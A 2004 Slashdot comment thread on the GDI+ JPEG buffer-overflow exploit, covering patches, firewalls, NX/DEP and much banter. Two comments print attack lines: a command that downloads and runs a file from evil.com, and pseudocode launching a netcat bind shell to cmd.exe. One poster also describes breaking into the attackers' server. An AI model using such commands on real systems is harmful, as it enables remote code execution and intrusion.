  53. You must be new here :) by FunWithHeadlines · · Score: 1
    "These could be the worst grammar too!!!"

    Not in these parts...

    1. Re:You must be new here :) by Dorothy+86 · · Score: 1

      Shouldn't that be, "not in this parts?" :-P

    2. Re:You must be new here :) by Ohreally_factor · · Score: 1

      YOU LOOSE!!

      --
      It's not offtopic, dumbass. It's orthogonal.
  54. God dammit! by Anonymous Coward · · Score: 5, Funny

    Why doesn't slashdot allow you to post images! :)

    1. Re:God dammit! by Dorothy+86 · · Score: 3, Funny
      because those of us who have remained goatse free would like to keep it that way :-P

      (yes, I know you're being silly, but what the hell :))

  55. Stop downloading porn? by macdaddy · · Score: 1

    Does this mean all those lonely college bachelors have to stop downloading porn until MS patches the hole?

    1. Re:Stop downloading porn? by base3 · · Score: 4, Funny

      Stop being a tease and saying we can't have pr0n and then using language like "patches the hole." Thank you.

      --
      One CPU cycle wasted on digital restrictions management is ONE TOO MANY.
    2. Re:Stop downloading porn? by gl4ss · · Score: 1

      no, just do it using programs that use the libpr0n (aka mozilla pr0n rendering library).

      (besides, it's patched)

      --
      world was created 5 seconds before this post as it is.
  56. The Worst Virus Ever... until the next one. by gfecyk · · Score: 1

    Wasn't iLoveYou the worst virus ever? Or Stages? Or Melissa? Or Nimda? Or the "Good Times" virus? This one will fall into obscurity, too.

    --
    Use Evolution instead of Outlook? Bewa
    1. Re:The Worst Virus Ever... until the next one. by Anonymous Coward · · Score: 0

      Hardly obscure if you remember them...

  57. SP2 Firewall by acherrington · · Score: 0, Redundant

    Further proof that secure computing is not a firewall enabled by default. Secure computing is a well rounded aproach. Design, code, implementation, and patching. And thats just the OS part, not the people part.

    --


    Victory is gained, not in knowing your opponents next move, but in preempting them.
    1. Re:SP2 Firewall by BubbleNOP · · Score: 2, Interesting

      Furthermore, you would not need a firewall if you were not running services that bound to things other than localhost. Since Windows firewall (prior to SP2, not sure whether SP2 has this functionality) doesn't let you pick who gets through to your ports, users should have the choice to shut down all ports exposed to the net. Keeping ports open and firewalled to everybody seems stupidly inefficient.

  58. It's a good thing... by Anonymous Coward · · Score: 0

    ... I don't use Windows at home or at work.

    Serves Windows users right for using Windows.

    One more reason to use Linux!

  59. HTML virus possible? by Tablizer · · Score: 1

    I remember a web page once that had HTML that was known to crash certain versions of Internet Explorer. Some kind of buffer overflow diddling via HTML couldn't be that far off. Declarative protocols can clearly be full of holes also, not just executable content.

    1. Re:HTML virus possible? by Anonymous Coward · · Score: 0

      Declarative protocols can clearly be full of holes also

      Clarification: "Rendering of declarative protocols...."

  60. Someone's monitoring the server by Anonymous Coward · · Score: 0

    I'm anonymous for a reason. When I found out that this was in the wild I attempted to access the server. At first I was able to get in via FTP. I threw a couple of commands at the system, it responded but before I could explore enough to find out who was behind this the server logged me off and the password referred to in the text file from EasyNews stopped working.

    DAMN.

    Next time bitches, I will 0wn you!

    1. Re:Someone's monitoring the server by Mr.+Roadkill · · Score: 1
      I don't know how much good it'll do them, though. The authors probably won't try to connect to it again, and it'll only be machines being raped or the curious who will even attempt it now.

      I sure hope Netfirms have good logs, and that the bastards who did it were stupid enough to set the account up directly from their own machines rather than via a compromised intermediary.

    2. Re:Someone's monitoring the server by Anonymous Coward · · Score: 0

      I was hoping to mine the IRC info from the config files on the server.

  61. NX Protection? by rsmith-mac · · Score: 5, Interesting

    Just out of curiosity, does anyone know if x86 no-execute protection(the NX bit, aka the XD bit, aka Data Execution Protection) prevents against this? With the release of SP2 and DEP support, it would seem that this would be a good test to see if DEP is all its cracked up to be.

    1. Re:NX Protection? by Anonymous Coward · · Score: 0

      SP2 isn't vulnerable anyway.

    2. Re:NX Protection? by Anonymous Coward · · Score: 5, Informative
      I can't speak for this virus specifically, but DEP isn't the end-all-be-all of buffer overflow prevention. For example:
      char overflowed[10];
      char command="echo \"some silly command\"";

      int main(){
      strcpy(argv[1], overflowed);
      exec(command);
      }
      We can overflow overflowed to change command into something like "sh \"wget http:\\evil.com\virus > virus.sh;virus.sh\"" or somesuch. Bonus points if you diddle with the C library's jump table so that any system call ends up being exec(..). The key here is that no data segments are executed, so NX protection wouldn't help.
    3. Re:NX Protection? by Anonymous Coward · · Score: 0

      Yes, but there are many applications besides Windows XP which use this same code that are vulnerable. See appendix B here for just a list of the Microsoft products that are vulnerable. There are third-party applications that are also vulnerable, but I couldn't (quickly) find a list with google.

      So it is possible that NX will help protect against this bug in other applications. But then again, maybe it won't :-)

    4. Re:NX Protection? by dekashizl · · Score: 1
      The key here is that no data segments are executed, so NX protection wouldn't help.
      It may not be the "end-all-be-all of buffer overflow prevention", but there are still a tremendous number of cases where it WOULD seem to help. Security is about eliminating vulnerabilities. Just because you can enter my house through the chimney doesn't mean that the deadbolt on my front door isn't helping secure my house.
    5. Re:NX Protection? by Anonymous Coward · · Score: 0

      How about an exploit that does this instead:
      (writing in pseudocode)
      It is possible to do this w/o any
      executable code in the overrun buffer

      char netcat[] = {bytes}
      _lwrite(_lopen("nc"), netcat, netcatlength)
      WinExec("nc -l -p 9999 -e cmd", 0)
      ExitProcess

  62. Sex! by InfiniteWisdom · · Score: 4, Funny

    What, now you can't even WATCH sex without protection?

  63. Lament from an old-timer by bigberk · · Score: 4, Interesting

    In my day, an article like this would have been a downright joke. Seriously, this is such a milestone that I'm filing the article in my permanent news archives.

    In retrospect I don't know why we thought such a thing was impossible for so long? After all, buffer overflows or other coding problems can result in malicious code executing. I guess what we didn't expect "back then" was that computers primarily engaged in networking activities would be running vital parsers - HTML, ActiveX, images etc - within the operating system itself, with administrator level privileges.

    Wouldn't it make sense to limit the scope of any kind of modular parser/crypto using privilege isolation, so that even if malicious code starts running it is utterly incapable of affecting anything else?

    i.e. shouldn't all such modules - crypto, image, parser run within some kind of privilege jails and communicate with the involved application using something like a socket? Hell, couldn't Windows do just that and wrap it up so API users don't notice? What am I missing here? I'm not picking on Windows here, same thing could be done on *NIX.

    1. Re:Lament from an old-timer by IchBinEinPenguin · · Score: 2, Insightful

      ... would be running vital parsers - HTML, ActiveX, images etc - within the operating system itself ...

      Remember, this was a LEGAL decision, not a TECHNICAL one.

      Killing NS without all those messy anti-trust problems required IE to become part of the OS.

      From a technical standpoint it was a moronic idea, as a lot of people said at the time.

    2. Re:Lament from an old-timer by bastard42 · · Score: 2, Interesting

      i.e. shouldn't all such modules - crypto, image, parser run within some kind of privilege jails and communicate with the involved application using something like a socket?

      No. It's slow.
      You have to copy the data back and forth. Not only that, you double your memory for that "operation" (sender has a copy and receiver has a copy).

      OTOH, it's a cool abstraction, and it's called pipes. All programs should pass data as file. Your file can be a pipe. Sockets are named pipes. GUI and speed be damned.


      P.S. I still think plan9 is supercool.

  64. September 23rd ???? by Anonymous Coward · · Score: 0

    I had a look at the sample source code, and it's dated (f you can believe it) September 23 (ie 5 days ago).

    What's happening here - is someone bignoting themselves, is it a mistake, or has it really been around this long ?

  65. Re:The problem is... by satans_advocate · · Score: 0

    I did upgrade to the latest version of Firefox and lost about half of my most usefull extensions. Some I found later on the homepage sites, others are yet to be upgraded.

    So heres the problem with a micro-browser that is feature enhanced by extensions that you come to love and rely on. If there is a critical vunerability, do you upgrade and be safe, but lose usefull functionality, or do you risk it and wait until the extension builders catch up?

  66. Crappy MS "GDI Detection Tool" by whoever57 · · Score: 3, Interesting

    I just ran the updates on an XP machine. It claimed that there was vulnerable GDI code on the machine and I should go to the office update page. Guess what: the office update page said there were no updates. So, apparanetly the system is vulnerable, but there is no way to fix it. Wonderful!

    --
    The real "Libtards" are the Libertarians!
    1. Re:Crappy MS "GDI Detection Tool" by zeekiorage · · Score: 1

      I just ran the updates on an XP machine. It claimed that there was vulnerable GDI code on the machine and I should go to the office update page. Guess what: the office update page said there were no updates. So, apparanetly the system is vulnerable, but there is no way to fix it. Wonderful!
      If tool finds that you have office installed then it will ask you to goto the office update site. It can't determine wether the version of office you have is vulnerable or not, only the office update site can do that.

      From the MS security bulletin...

      What does the GDI+ Detection tool do?
      The GDI+ Detection tool scans your system for non-operating system products that are known to contain the vulnerable component. It then directs consumers to the appropriate locations for downloading an update to address the vulnerability.

      Will the GDI+ Detection tool tell me if my system is at risk from this vulnerability?
      No. The tool is only designed to scan the system and detect for certain installed products that are known to contain the vulnerable component. The tool is not able to determine if these products have already been updated to use a secure version of the affected component.

    2. Re:Crappy MS "GDI Detection Tool" by ceeam · · Score: 2, Insightful

      Let me guess - do you perchance use one the "blackisted" serialz for your office registration? If not then sorry, but if so - take note that WindowsUpdate verifies your reg number and feels free to behave accordingly.

    3. Re:Crappy MS "GDI Detection Tool" by fugas · · Score: 1

      Try the SANS scanner instead: here. Much more comprehensive detection.

    4. Re:Crappy MS "GDI Detection Tool" by whoever57 · · Score: 1
      Let me guess - do you perchance use one the "blackisted" serialz for your office registration?

      Here's the kicker: Office has not been installed on the PC, so, not: it does not have a '"blacklisted" serialz'.

      --
      The real "Libtards" are the Libertarians!
    5. Re:Crappy MS "GDI Detection Tool" by whoever57 · · Score: 1
      If tool finds that you have office installed then it will ask you to goto the office update site. It can't determine wether the version of office you have is vulnerable or not, only the office update site can do that.

      Apparently you either did not read or did not understand my posting.

      This was a new PC -- not mine. I went to the Office Update sitee -- the GDI detection tool pointed me to this page. However, the office update site said there were no updates for this PC. Probably this is because Office is not installed on the PC.

      --
      The real "Libtards" are the Libertarians!
  67. What process does it run as? by Anonymous Coward · · Score: 0

    Once this JPEG overflowed GDI+, it phoned home ...

    Will PC-based firewalls block the outbound connection?

    I run AtGuard, which throws a popup anytime something makes an outbound connection. However, I have a rule to allow Firefox to make outbound connections. Would the virus run as Firefox when it strikes (in the event that I go surfing for JPGs of naked tranny beanie babies from easynews), or does it run as some system component of windows (which would be blocked since I disallow all netbios/system stuff except to self) ?

    1. Re:What process does it run as? by base3 · · Score: 1

      If it can install a service, it can disable or punch a hole into any fireweall running on the client. A client firewall, IMO, is worse than nothing in that it provides a false feeling of invulnerability.

      --
      One CPU cycle wasted on digital restrictions management is ONE TOO MANY.
  68. This'll be good for catching downloaders . . . by base3 · · Score: 3, Interesting

    . . . of kiddy porn. The pervs grab the jpeg, load it, and it quietly calls home to the FBI, where a dot matrix printer prints out another warrant for a judge's signature . . .

    --
    One CPU cycle wasted on digital restrictions management is ONE TOO MANY.
    1. Re:This'll be good for catching downloaders . . . by Anonymous Coward · · Score: 0, Insightful

      "The pervs grab the jpeg, load it, and it quietly calls home to the FBI, where a dot matrix printer prints out another warrant for a judge's signature . . ."

      Not exactly. Because either:
      1. The FBI's infected JPEG is a kiddie porn photo, in which case the FBI is breaking the law itself, or
      2. The infected JPEG is a legal photo, in which case the "alleged perv" has broken no law, and there is no basis for the warrant.

    2. Re:This'll be good for catching downloaders . . . by dpete4552 · · Score: 2, Insightful

      If the FBI is allowed to trade drugs to get to drug dealers then I'm pretty sure they're allowed to trade kiddie porn pics to get to pervs.

      --
      http://www.archive.org/details/ThePowerOfNightmares
    3. Re:This'll be good for catching downloaders . . . by base3 · · Score: 2, Interesting
      2. The infected JPEG is a legal photo, in which case the "alleged perv" has broken no law, and there is no basis for the warrant.

      What if it's titled as kiddy porn, but it's not--just bait to see who's viewing it? Sure, then the "alleged perv" hasn't committed a crime by downloading and viewing it, but the fact that s/he has might just be enough probable cause for a sealed Grand Jury indictment, followed by a warrent for an unnanounced full search of the downloader's PC . . . (IANAL, especially NA criminal L).

      --
      One CPU cycle wasted on digital restrictions management is ONE TOO MANY.
    4. Re:This'll be good for catching downloaders . . . by Anonymous Coward · · Score: 0

      Geez, it's late. I really do know how to spell "warrant," but it sure doesn't look like it based on the above.

    5. Re:This'll be good for catching downloaders . . . by MillionthMonkey · · Score: 1

      Only a matter of time before some "Good Samaritan" releases a JPEG that contacts Microsoft and downloads a patch!

    6. Re:This'll be good for catching downloaders . . . by ceeam · · Score: 3, Insightful

      Well - how many people viewed the certain hello.jpg image willingly and knowing what they are going to find? How difficult it would be for me to dupe you or someone else to load the image you mention if I find its URL?

    7. Re:This'll be good for catching downloaders . . . by pommiekiwifruit · · Score: 1

      Well if the FBI can arrest people for buying sugar, or for crossing a state line to meet up with an over-age FBI agent who pretended to be young on the internet, I guess formal logic doesn't feature much in US procedure.

    8. Re:This'll be good for catching downloaders . . . by Anonymous Coward · · Score: 0

      And what if it's just downloaded with usenet-downloader that grabs all the jpg's from certain newsgroups without reading the titles?

    9. Re:This'll be good for catching downloaders . . . by base3 · · Score: 1
      Doesn't matter. It would just be a fishing license--maybe the next step wouldn't be a no-knock warrant, but a PATRIOT Act tap on the subject's Internet connection.

      And an innocent person who downloaded the image by mistake wouldn't have a hard drive full of kiddy porn or multi-gigabyte files of "random data," for which they could be compelled to rot in jail until they gave up the keys.

      --
      One CPU cycle wasted on digital restrictions management is ONE TOO MANY.
    10. Re:This'll be good for catching downloaders . . . by base3 · · Score: 1

      I don't expect that the FBI would go trolling Slashdot with the image :).

      --
      One CPU cycle wasted on digital restrictions management is ONE TOO MANY.
    11. Re:This'll be good for catching downloaders . . . by liquidsin · · Score: 1

      No need to dupe anyone. How many people do you know who leave their email clients set to the default of loading remote images? I think I know maybe two people besides myself who've changed it. Free web host for the image + mass mailing == anarchy!

      --
      do not read this line twice.
  69. Is it named yet? by jaysones · · Score: 2, Funny

    If there's no name yet, how about the Medusa virus?

  70. Hacked CNN Advertisments by 8400_RPM · · Score: 5, Insightful

    So what happens when someone hacks the ad server that cnn or google uses, and puts this jpeg up?

    Millions of instant zombies.

    Thats f*cking scarry....

    1. Re:Hacked CNN Advertisments by Wes+Janson · · Score: 3, Informative

      If I understood the article correctly, you have to actually save the virus file, and then try to view it. Only then will it infect. From what I read, it would seem just opening a webpage with the "image" on it would not infect a computer.

    2. Re:Hacked CNN Advertisments by codepunk · · Score: 1

      Hmm yea that little bit of java code to execute this is gonna be real tough now aint it. What if for example it was combined with the self executing hole posted a few days back.

      --


      Got Code?
    3. Re:Hacked CNN Advertisments by Pecisk · · Score: 2, Insightful

      It actually doesn't make sense because browsing web is...just saving pages/pictures/etc in cache AND viewing it. So I guess it would be any kind of difference, if you save it.

      Only difference is then when different libs are used for viewing JPG.

      --
      user@ubuntubox:~$ stfu This server is going down for shutdown NOW!
    4. Re:Hacked CNN Advertisments by Anonymous Coward · · Score: 0

      I think its Windows Explorer (the file manager) not Internet Explorer that is affected.

    5. Re:Hacked CNN Advertisments by SvendTofte · · Score: 2, Insightful

      That doesn't make sense. As you browse the web, you download the image. Unless the program is something strange (Moz), then it would probably use Windows libraries to display the image, and bam.

    6. Re:Hacked CNN Advertisments by Anonymous Coward · · Score: 0

      It wouldn't affect google - text adds only!

      ----------
      Free iPod!
      http://www.freeipods.com/default.aspx?referer=8309 944

    7. Re:Hacked CNN Advertisments by I)_MaLaClYpSe_(I · · Score: 1
      It indeed DOES make a difference. Trust me, I spent the lask week playing with the available exploits.

      IE is vulnerable according to some sources like MS 04-028 (IE 6.1), other sources (e.g. TrendMicro) don't report IE to be vulnerable.

      I managed to get an exploit opening a cmd.exe when viewed with the Explorer but looking at it with IE did nothing, not even crash it!

    8. Re:Hacked CNN Advertisments by TSR+Wedge · · Score: 1

      Damn good thing most ads are really fsckin annoying Flash pieces of shit now...

      --
      What if the hokey-pokey really is what it's all about?
  71. The tech note at MS tells all by Anonymous Coward · · Score: 3, Informative
    Claims Win 98SE is not affected! Great, all MS users can take a bold step back.

    TechNet Home Security Microsoft Security Bulletin MS04-028 Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution (833987) Issued: September 14, 2004 Updated: September 21, 2004 Version: 1.2 Summary Who should read this document: Customers who use any of the affected operating systems, affected software programs, or affected components. Impact of Vulnerability: Remote Code Execution Maximum Severity Rating: Critical Recommendation: Customers should apply the update immediately. Security Update Replacement: None Caveats: If you have installed any of the affected programs or affected components listed in this bulletin, you should install the required security update for each of the affected programs or affected components. This may require the installation of multiple security updates. See the FAQ section of this bulletin for more information. Tested Software and Security Update Download Locations:

    Affected Software:

    Microsoft Windows XP and Microsoft Windows XP Service Pack 1 - Download the update (KB833987) Microsoft Windows XP 64-Bit Edition Service Pack 1 - Download the update (KB833987) Microsoft Windows XP 64-Bit Edition Version 2003 - Download the update (KB833987) Microsoft Windows Server(TM) 2003 - Download the update (KB833987) Microsoft Windows Server 2003 64-Bit Edition - Download the update (KB833987) Microsoft Office XP Service Pack 3 - Download the update (KB832332) Microsoft Office XP Service Pack 2 - Download the administrative update (KB832332) Microsoft Office XP Software: Outlook® 2002 Word 2002 Excel 2002 PowerPoint® 2002 FrontPage® 2002 Publisher 2002 Access 2002 Microsoft Office 2003 Software: Outlook® 2003 Word 2003 Excel 2003 PowerPoint® 2003 FrontPage® 2003 Publisher 2003 Access 2003 InfoPath(TM) 2003 OneNote(TM) 2003 Microsoft Project 2002 (all versions) and Microsoft Project 2002 Service Pack 1 (all versions) - Download the update (KB831931) Microsoft Project 2003 (all versions) - Download the update (KB838344) Microsoft Visio 2002 Service Pack 1 (all versions) and Microsoft Visio 2002 Service Pack 2 (all versions) - Download the update (KB831932) Microsoft Visio 2003 (all versions) - Download the update (KB838345) Microsoft Visual Studio .NET 2002 - Download the update (KB830348) Microsoft Visual Studio .NET 2002 Software: Visual Basic .NET Standard 2002 Visual C# .NET Standard 2002 Visual C++ .NET Standard 2002 Microsoft Visual Studio .NET 2003 - Download the update (KB830348) Microsoft Visual Studio .NET 2003 Software: Visual Basic .NET Standard 2003 Visual C# .NET Standard 2003 Visual C++ .NET Standard 2003 Visual J# .NET Standard 2003 The Microsoft .NET Framework version 1.0 SDK Service Pack 2 - Download the update (KB867461) Microsoft Picture It!® 2002 (all versions) - Download the update Microsoft Greetings 2002 - Download the update Microsoft Picture It! version 7.0 (all versions) - Download the update Microsoft Digital Image Pro version 7.0 - Download the update Microsoft Picture It! version 9 (all versions, including Picture It! Library) - Download the update Microsoft Digital Image Pro version 9 - Download the update Microsoft Digital Image Suite version 9 - Download the update Microsoft Producer for Microsoft Office PowerPoint (all versions) Microsoft Platform SDK Redistributable: GDI+ - Download the update Office Users Note Office XP Service Pack 2 and Office XP Service Pack 3 are both vulnerable to this issue. However the security update for Office XP Service Pack 2 is only provided as part of the Office XP administrative security update. For more information, see the Security Update Information section. Office

    1. Re:The tech note at MS tells all by Tackhead · · Score: 1
      > Claims Win 98SE is not affected! Great, all MS users can take a bold step back.

      As with everything Microsoft, read the fine print:

      The non-affected versions of Windows do not natively contain the vulnerable component. However, the vulnerable component is installed on these non-affected operating systems when you install any of the software programs or components that are listed in the Affected Software and Affected Components sections of this bulletin.

      So if you have unpatched 9x, you're safe - but pwn3d from all the other holes in the unpatched IE.

      The minute you download "Internet Explorer 6 Service Pack 1" on 9x to protect yourself against the older holes in IE, you open yourself up to the JPEG vulnerability.

  72. bug month by Anonymous Coward · · Score: 1, Insightful

    It was Bug Month, not security, though that's related. It was in 2002. The shortest month, February.

    "We are not coding new code as of today for the next month," Richard Purcell, director of the Microsoft's corporate computing office ... "It's time to get the garage cleaned out."

    Which I thought was straight PR, and if there were any acutal deferrals of project waypoints, this time would be spent dealing with personal inbox overloads.

    But I did get contacted by a Microsoft engineer during that time, re a software failure I'd detailed online. {Nothing's been fixed, mind you.}

    "Quality freefall"? Not really. They've always produced third tier code. This is normal. The only difference right now is they're feeling more heat about it because programs can do more, and they've got competition they can't kill in Open Source. The profitability of their poor quality of approach is falling against these two rising variable. Quality itself has been steady state.

    1. Re:bug month by ConceptJunkie · · Score: 4, Insightful


      "Quality freefall"? Not really. They've always produced third tier code.


      I dunno. NT 3.51 always seemed to be rock-frickin'-solid, but then I didn't use it for long before NT 4 came out.

      Of course, Windows 95 was stillborn and they kept pumping the corpse full of formaldehyde for 5 years for they finally let it rot in peace, but the NT branch was really good until they started making every app they wrote effectively part of the core OS.

      Remember when NT ran on 4 different processor architectures and Win32 was just one API on top of the kernel in addition to Posix and OS/2? Now that IE and WMP are practically part of the kernel it seems so long ago, and yet, in a sense, it was far more advanced because it was modular enough and clean enough to be ported.

      --
      You are in a maze of twisty little passages, all alike.
    2. Re:bug month by drsmithy · · Score: 1
      Remember when NT ran on 4 different processor architectures and Win32 was just one API on top of the kernel in addition to Posix and OS/2?

      Yes. Not much has changed. Well, the OS/2 support was dropped for obvious reasons, but that's about it.

      Now that IE and WMP are practically part of the kernel [...]

      And you base this assumption on what, exactly ?

      [...] it seems so long ago, and yet, in a sense, it was far more advanced because it was modular enough and clean enough to be ported.

      Clearly, NT is still portable. It's available *right now* for Itanic, x86 and x86-64. The XBox2 is also using an NT derivative.

    3. Re:bug month by Anonymous Coward · · Score: 0

      Now that IE and WMP are practically part of the kernel [...]

      And you base this assumption on what, exactly ?


      Statements by Bill Gates in court.

    4. Re:bug month by antime · · Score: 1

      The OS/2 subsystem is still there, in some form. To witness it in all its glory you can download for instance a Thinkpad BIOS update from IBM's support pages. After running the program that created the boot disk the task manager showed the OS/2 subsystem was left running.

    5. Re:bug month by drsmithy · · Score: 1
      The OS/2 subsystem is still there, in some form. To witness it in all its glory you can download for instance a Thinkpad BIOS update from IBM's support pages. After running the program that created the boot disk the task manager showed the OS/2 subsystem was left running.

      Really ? I thought they pulled it out after Windows 2000 (ie: XP and onwards) ?

  73. Anyone know if studio max 6 has a patch by Remstar · · Score: 1

    because i see a vulnerability in it..

  74. Just wait until... by jamesh · · Score: 1

    ... someone defaces a popular website with such an image. Imagine if someone replaced the main image on the worlds most popular search engine!

    Or if someone posts such an image to an automatic image rating site (are they still popular? does hotornot still exist?)

    1. Re:Just wait until... by Zoolander · · Score: 1

      I guess it will show up on http://www.ircimages.com/ pretty soon...

      --
      Meep.
  75. Patch for win 2k SP2? by keraneuology · · Score: 1

    Heard way too many horror stories about SP3 and decided not to take the chance (since SP2 killed my system and required a complete reinstall). Are there any standalone patches for SP2 available?

    --
    If the g'vt kept the data on you that google does you'd better believe you'd be calling it "doing evil"
    1. Re:Patch for win 2k SP2? by Anonymous Coward · · Score: 0

      jeez, i think sp4 is the latest 2K service pack.. ive never had any problems with it.. just install it

    2. Re:Patch for win 2k SP2? by keraneuology · · Score: 1

      Two out of three negative reviews at zd... fairly typical for MS updates. I still remember the time I was up until 1am trying to fix a server that crashed because of a MS patch. No thank you.

      --
      If the g'vt kept the data on you that google does you'd better believe you'd be calling it "doing evil"
    3. Re:Patch for win 2k SP2? by pe1chl · · Score: 1

      You will find that only people with negative experiences write such reviews.
      We have been running W2000 SP4 on all of our (200+) desktops for a long time, and no SP-related problems at all.

  76. What are Beanie Babies..... by Anonymous Coward · · Score: 0

    oh that's right, those toys that were extremely popular a few years ago, that suckers^Rconsumers
    were sometimes paying upwards of thousands of
    dollars to get some "rare" ones.

    funny how things can be a huge fad one day,
    and completely forgotten the next

  77. ANSI Bombs by hpavc · · Score: 2, Interesting

    Does anyone remember those ANSI bombs of old? I remember BBS's had all sorts of elaborate protections against them, zipfile comments etc.

    --
    members are seeing something, your seeing an ad
    1. Re:ANSI Bombs by pclminion · · Score: 2, Informative
      I remember ANSI bombs. For those who do not:

      ANSI.SYS was a device driver that implemented a basic "terminal protocol" on IBM PC screens back in the MS-DOS days. It could manipulate the cursor, show text in colors, and it had a few other features like key redefinition.

      An ANSI bomb was a sequence of commands to the ANSI driver. If the commands were somehow written to the terminal, they would redefine the Enter key to do something like "echo y | format c:". Thus, the next time the victim pressed Enter, the C: would be formatted.

      There were a few was to trick your target into displaying the ANSI codes. One way was to embed them in the comment section of a pkzip archive, so that when the file was extracted the codes would be printed to the screen.

  78. Firewall fix? by seanadams.com · · Score: 1

    This looks like it could be the worst Window virus to date. What is the easiest way block this specific code from getting through a Linux NAT/firewall?

    - how can I drop any packet containing a particular sequence of bytes?
    - better: how would one do it at the TCP level so you catch it even if it spans more than one packet?

    1. Re:Firewall fix? by say · · Score: 1

      What? You can't drop all packets containing that short sequence of bytes which makes up the exploit signature. They could appear in other contexts, you know.

      Use virus scanners.

      --
      Roses are #FF0000, violets are #0000FF, all my base are belong to you
  79. Another location to get the virus by muzik · · Score: 1

    I was talking with a friend on MSN... coincidentally after reading on this for about 2 hours. The first thing she said i was very suspicious: C3ly$c3 says: you there? ...http://www.xf2s.com/msn/wode.jpg. err a jpeg surrounded by a bunch of other characters ... sounds suspicious I dont know if this is actually the virus.... im on my laptop right now which runs windows (unpatched of course)

  80. About MSN... by ReKleSS · · Score: 1

    I don't know about AIM, but MSN reencodes all images to PNG. I don't think there's going to be much risk from that.
    -ReK

    --
    md5sum -c reality.md5
    reality: FAILED
    md5sum: WARNING: 1 of 1 computed checksum did NOT match
    1. Re:About MSN... by BandwidthHog · · Score: 1

      Huh. Interesting. They thoroughly undermine mainstream adoption of the PNG format, yet are quite happy to use it internally.

      Bastards.

      --

      Quantum materiae materietur marmota monax si marmota monax materiam possit materiari?
    2. Re:About MSN... by Chrax · · Score: 1

      Hold the phone. MSN can reencode all buddy images (or equivalent) to pngs, but IE can't render pngs with transparent backgrounds? May be a silly question, but isn't that a bit odd?

  81. MS should use this xploit to update machines! by Anonymous Coward · · Score: 0

    Microsoft should get with google and other major internet sites and put jpegs that:

    1) fix the hole by downloading/installing updates
    2) turn on automatic updates :)

  82. Nice advertising by Anonymous Coward · · Score: 0

    for easynews...

    AC

  83. HTML-trap by HermanAB · · Score: 2, Funny
    Well, maybe it is time to change my HTML-trap poisoned files list to *.*

    That'll fix it...

    --
    Oh well, what the hell...
  84. 7k is likely enough by isn't+my+name · · Score: 1

    I played with the sample code to crash a machine last Friday. That code produced a 2K JPEG. (Likely it was smaller but I'll bet 2K is the block size on my 80 GB hard drive. File is at work so I can't check it now.)

    7K sounds very reasonable if all it has to do is download the real executables.

  85. Terminology by jjgm · · Score: 2, Informative

    Technically, this is a Trojan Horse, not a virus.

  86. One thing I'm having trouble finding... by Anonymous Coward · · Score: 0

    is how far back IE (and Windows) is affected by this?

    specifically versions and releases.
    are stock 95, 98 and ME affected?

  87. irc.. by kagelump · · Score: 1

    the irc channel has been slashdotted... thats new

  88. It's not a virus by LS · · Score: 2, Informative

    Sorry to be nitpicky here, but this is a trojan horse, not a virus. A virus propagates through replication.

    LS

    --
    There is a fine line between being a cultivated citizen and being someone else's crop. - A. J. Patrick Liszkie
    1. Re:It's not a virus by codepunk · · Score: 1

      yea it only needs another 10 or so lines and it is a virus, worm and trojan...

      --


      Got Code?
    2. Re:It's not a virus by MillionthMonkey · · Score: 1

      Sorry to be nitpicky here, but this is a trojan horse, not a virus. A virus propagates through replication.

      The published exploit sample code may be a trojan horse, but the real issue here is the vulnerability. Vulnerabilities are the raw material from which trojans, worms, and viruses are forged.

      Coding a trojan out of this is straightforward (hostile JPEG gains control, deletes hard drive). With some ingenuity you could make it into a virus (hostile JPEG gains control, scans disks and networks for JPEG files to infect, rewrites all JPEGs it finds) or a worm (hostile JPEG gains control, sends self via email/instant message).

  89. Anyone think it's interesting... by JohnsonWax · · Score: 3, Interesting

    That /.ers can reference generic sounding apps like GraphicConverter and Preview without mention of the operating system?

    Apple really has come a long way around here, eh?

    1. Re:Anyone think it's interesting... by Yaztromo · · Score: 4, Interesting
      Apple really has come a long way around here, eh?

      For the record, I bought my first Mac (a 12" PowerBook G4) this past spring based in significant part on all the good things I had read about Apple's latest offerings here on /. .

      Yaz.

    2. Re:Anyone think it's interesting... by Anonymous Coward · · Score: 0

      I bought my first Mac (a 12" PowerBook G4) this past spring based in significant part on all the good things I had read about Apple's latest offerings

      I was planning on getting a 14" iBook next year. Something I wouldn't have even considered a few years ago. I've met some fellow Comp Sci majors with Apple laptops already.. They said that people often come up to them and say stuff like: "A Computer Science major with an Apple Laptop? What the hell?" The vast majority of people will always be behind the times...

    3. Re:Anyone think it's interesting... by Pope · · Score: 1

      Like Explorer? :)

      I've been using Graphic Converter on the Mac since, oh, 1993 or so. It's very well-known on the platform.

      --
      It doesn't mean much now, it's built for the future.
    4. Re:Anyone think it's interesting... by Anonymous Coward · · Score: 0

      I have no idea what they're talking about. I just nod my head and :)

  90. I wish Windows was like the Mac in this area... by Chordonblue · · Score: 2, Interesting

    It's all pretty simple there. To install something you have to put in the admin password. Unix made easy.

    The way Apple does it (by app) is FAR more intelligent than having to make a user an admin or log out of the system entirely to log in as an admin.

    I have a few applications here at the school that demand admin privs. I've all but given up trying to restrict them. But as anyone who has seen the proliferation of unwanted toolbars can attest - the cost is high.

    --
    "...Well, there's egg and bacon; egg sausage and bacon; egg and spam; egg bacon and spam; egg bacon sausage and spam..."
    1. Re:I wish Windows was like the Mac in this area... by Nurgled · · Score: 2, Informative

      Windows features a "Run As..." dialog which can be used to execute a program as a different user than the one logged in. Unfortunately, it's quite hidden. To access it, one must hold down shift and right-click on the icon for the executable (or a shortcut to it) and choose "Run As...". You can then enter the username/password you wish to use and hit OK to start the program.

      Of course, it'd be better if it'd just happen automatically when you run something that requires admin privs, such as System control panel or an installer, but in the installer case there are so many different kinds of installer out there that it'd be impossible for Windows to know what's an installer and what isn't. Allowing applications to say "Hey Windows, I need to run as Administrator!" might be a solution, but then most of the worms around masquerade as things the user might want to run anyway, so they'd probably just go ahead and throw in the Administrator password much like they just click "Yes" when Internet Explorer offers to install BonzaiBuddy.

    2. Re:I wish Windows was like the Mac in this area... by AcornWeb · · Score: 1

      Allowing applications to say "Hey Windows, I need to run as Administrator!"

      But you see, on a Mac an application does just that. You have to import and then basically call on the SecurityAgent to ask the user for their admin password.

      SecurityAgent then prompts the user and says that the application (pathname) wants your admin password.

      The other key difference between Windows and Macs is that the applications' names actually mean something on a Mac. How is your grandmother going to know that allowing iexplore to use her Admin password is fine?

      --
      Your Windows PC is my other computer.
    3. Re:I wish Windows was like the Mac in this area... by Nurgled · · Score: 1

